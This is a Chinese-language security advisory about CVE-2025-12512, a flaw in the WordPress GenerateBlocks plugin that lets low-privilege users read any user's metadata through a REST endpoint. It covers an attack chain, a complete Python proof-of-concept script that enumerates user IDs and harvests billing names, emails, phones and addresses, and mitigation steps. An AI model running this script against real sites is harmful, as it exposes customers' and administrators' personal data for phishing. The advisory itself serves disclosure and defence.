IPBUF安全漏洞报告
English
CVE-2025-12512 CVSS 4.3 中危

CVE-2025-12512 WordPress GenerateBlocks插件信息泄露漏洞

披露日期: 2025-12-13

漏洞信息

漏洞编号
CVE-2025-12512
漏洞类型
信息泄露
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
GenerateBlocks plugin for WordPress

相关标签

信息泄露WordPress插件GenerateBlocksREST API对象级授权缺失权限绕过用户元数据泄露CVE-2025-12512

漏洞概述

GenerateBlocks是WordPress的一个流行插件,用于提供设计块功能。该插件在2.1.2及之前版本中存在严重的信息泄露漏洞。漏洞根源在于插件注册的REST API路由(位于generateblocks/v1/meta/路径下)缺少对象级授权检查,仅使用current_user_can('edit_posts')进行权限验证,而这个权限被默认授予给Contributor等低权限角色。攻击者可以利用这一缺陷,通过API端点的get_user_meta_rest函数,传入任意用户ID和元键来获取该用户的敏感元数据。攻击者能够访问包括管理员在内的任何WordPress用户的个人身份信息,如姓名、邮箱、电话、地址等。在典型的WordPress + WooCommerce环境中,WooCommerce会将客户的敏感信息存储在用户元数据中,攻击者可以利用这些信息进行定向钓鱼攻击、账户接管预谋或实施其他隐私侵犯行为。

技术细节

漏洞的核心问题在于GenerateBlocks插件的元数据处理函数(get_user_meta_rest)缺乏有效的访问控制机制。插件在注册REST API端点时,使用current_user_can('edit_posts')作为权限检查条件,这个检查仅确认用户是否有编辑帖子的权限,但不验证用户是否在请求自己的数据。具体来说,攻击者可以向generateblocks/v1/meta/下的任意端点发送GET请求,通过user_id参数指定目标用户ID,通过meta_key参数指定想要获取的元键名称。插件仅对少量密码类密钥实施了黑名单检查,但这个黑名单并不完善,许多敏感字段如billing_address、billing_phone、billing_email等都可以被成功获取。由于WordPress的user_meta表存储了用户的各种配置信息和业务数据,攻击者通过遍历用户ID可以收集大量用户信息。漏洞的利用不需要复杂的攻击技术,任何具有Contributor角色的合法用户都可以发起攻击。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress Contributor级别账户凭据
STEP 2
步骤2
攻击者构造针对generateblocks/v1/meta/get_user_meta_rest端点的HTTP GET请求
STEP 3
步骤3
在请求参数中指定目标用户ID(如管理员user_id=1)和期望获取的元键名称
STEP 4
步骤4
插件验证current_user_can('edit_posts')通过后,返回目标用户的元数据值
STEP 5
步骤5
攻击者遍历不同用户ID和元键,收集管理员及其他用户的PII信息
STEP 6
步骤6
利用获取的敏感信息(邮箱、地址、电话等)实施钓鱼攻击或账户接管

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-12512 PoC - GenerateBlocks Information Disclosure # Target: WordPress site with GenerateBlocks plugin <= 2.1.2 TARGET_URL = "https://target-wordpress-site.com" USERNAME = "attacker_contributor" PASSWORD = "attacker_password" def get_auth_token(): """Authenticate and get WordPress REST API nonce""" session = requests.Session() # Get WooCommerce REST API nonce via login login_url = f"{TARGET_URL}/wp-login.php" session.post(login_url, data={ 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In' }) return session def exploit_user_meta(session, user_id, meta_key): """Query user meta via GenerateBlocks REST API endpoint""" # Exploit endpoint: generateblocks/v1/meta/get_user_meta_rest url = f"{TARGET_URL}/wp-json/generateblocks/v1/meta/get_user_meta_rest" params = { 'user_id': user_id, 'meta_key': meta_key } response = session.get(url, params=params) return response.json() if response.status_code == 200 else None def main(): session = get_auth_token() # Target WooCommerce user data (common meta keys) sensitive_keys = [ 'billing_first_name', 'billing_last_name', 'billing_email', 'billing_phone', 'billing_address_1', 'billing_city', 'billing_postcode', 'first_name', 'last_name', 'nickname', 'description' ] print("[*] CVE-2025-12512 Exploitation - GenerateBlocks Info Leak") print(f"[*] Target: {TARGET_URL}\n") # Enumerate users (start from admin user_id=1) for user_id in range(1, 10): print(f"[*] Checking user_id={user_id}...") for meta_key in sensitive_keys: result = exploit_user_meta(session, user_id, meta_key) if result and result.get('data'): print(f" [+] Found: {meta_key} = {result['data']}") if __name__ == "__main__": main()

影响范围

GenerateBlocks plugin for WordPress <= 2.1.2

防御指南

临时缓解措施
如果无法立即升级插件,可通过以下方式临时缓解:在Web服务器层面限制对generateblocks/v1/meta/*路径的访问,仅允许管理员IP访问;或使用WordPress安全插件禁用该插件的REST API端点;或临时禁用GenerateBlocks插件直到完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表